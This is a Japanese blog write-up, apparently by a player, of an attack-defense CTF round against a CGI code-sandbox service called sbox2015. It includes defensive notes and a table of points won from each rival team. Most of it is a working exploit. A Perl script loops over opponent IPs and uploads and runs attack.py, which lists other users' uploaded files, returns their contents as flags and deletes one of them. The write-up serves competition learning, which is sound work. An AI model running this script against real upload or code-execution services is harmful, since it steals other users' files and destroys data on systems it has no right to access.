SLAがちゃんとしたものなら、禁止ワードのフィルタをするなり、ファイル読めないようにopenを潰すとかで防ぐのが正攻法のような気がする。もう少し、攻擊と防御の時間があれば、もっと面白いことができそう。
大会終了後に気づいたが、sbox自体のフラグを守るのは簡単で、実行と同時にアップロードされたファイルを消すとか、ディレクトリのパーミッションをrwx---x--xにするだけだった。ただ、sboxを経由して別サービスのパスワードを読むスクリプトがアップロードされていて攻擊されていたので、さすがに任意コードを実行できる状態なのはまずい。

防御ができたところで、相手チームに攻擊するリクエストを投げる。
アップロードしたファイルは特定のディレクトリ以下に保存されるので、ファイルを時刻順に並びかえて中身をすべて出力させるPythonスクリプトを書く。これで対策がされていないチームのフラグを奪うことができる。
他チームに送信してフラグを奪うところまでスクリプトを書いておいて、スコアサーバへのサブミットは自動化が面倒だったので、全手動でやった。
スクリプトはこんなかんじ。急いで書いたので適当。

use v5.16;
use warnings;
use utf8;
use LWP::UserAgent;

my $ua = LWP::UserAgent->new(
    agent => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
);

my @ips = (
    '10.100.2.1',
    '10.100.4.1',
    '10.100.5.1',
    '10.100.7.1',
    '10.100.8.1',
    '10.100.10.1',
    '10.100.12.1',
    '10.100.13.1',
    '10.100.16.1',
    '10.100.17.1',
    '10.100.18.1',

    #'10.100.3.1',
    #'10.100.6.1',
    #'10.100.9.1',
    #'10.100.14.1',
    #'10.100.15.1',
);

for my $ip (@ips) {
    my $url = "http://$ip/cgi-bin/sbox2015/index.cgi";
    my $res = $ua->post($url,
        Content_Type => 'form-data',
        Content => {
            's' => 'upload',
            't' => 'python',
            'f' => ['attack.py'],
        },
    );
    my $play = $res->content;
    if ($play =~ /^2/) {
        $res = $ua->post($url,
            Content_Type => 'form-data',
            Content => {
                's' => 'play',
                'k' => $play,
                'd' => '0',
            },
        );
        my (@files) = $res->content =~ /'(.+?\.txt)'/g;
        $res = $ua->post($url,
            Content_Type => 'form-data',
            Content => {
                's' => 'play',
                'k' => $play,
                'd' => join(',', @files),
            },
        );
        #my ($flag) = $res->content =~ /OUTDATA = "(.+?)"/;
        #say "$ip: $flag";
        my (@flags) = $res->content =~ /OUTDATA = "(.+?)"/g;
        say "$ip:";
        for my $flag (@flags) {
            say $flag;
        }
    } else {
        warn 'fail';
    }
}

attack.py:

import os
import glob
if INDATA != '0':
    OUTDATA = str([open(f).read() for f in INDATA.split(',')])
    os.unlink(INDATA.split(',')[0])
else:
    f = glob.glob('uploadfiles/*')
    f.sort(cmp=lambda x, y: int(os.path.getctime(x) - os.path.getctime(y)), reverse=True)
    OUTDATA = str(f)

まとめ

最終的なスコア。他チームからの攻擊+SLAチェックのfailにより、最終的なdefense scoreがマイナスになった。

f:id:akiym:20160131214727p:plain

攻擊ログが残っていたので、自分のチームの攻擊ポイントをまとめておいた。m1z0r3, MMAからそれぞれ10000ptほど奪うことができたのが大きい。

'akiym' => {
    'Aquarium'        => 1012,
    'IPFactory'       => 453,
    'TomoriNao'       => 643,
    'Yozakura'        => 269,
    'barylite'        => 262,
    'insecure'        => 254,
    'm1z0r3'          => 7169,
    'negainoido'      => 1628,
    'oishiipp'        => 182,
    'omakase'         => 190,
    'security_anthem' => 528
},
'hiromu' => {
    'Aquarium'   => 543,
    'IPFactory'  => 581,
    'Yozakura'   => 192,
    'm1z0r3'     => 304,
    'omakase'    => 50,
    'wasamusume' => 188
},
'lrks' => {
    'MMA'        => 9164,
    'TomoriNao'  => 19,
    'Yozakura'   => 162,
    'insecure'   => 91,
    'm1z0r3'     => 6026,
    'negainoido' => 97,
    'z_kro'      => 93
},
'xrekkusu' => {
    'security_anthem' => 2761
}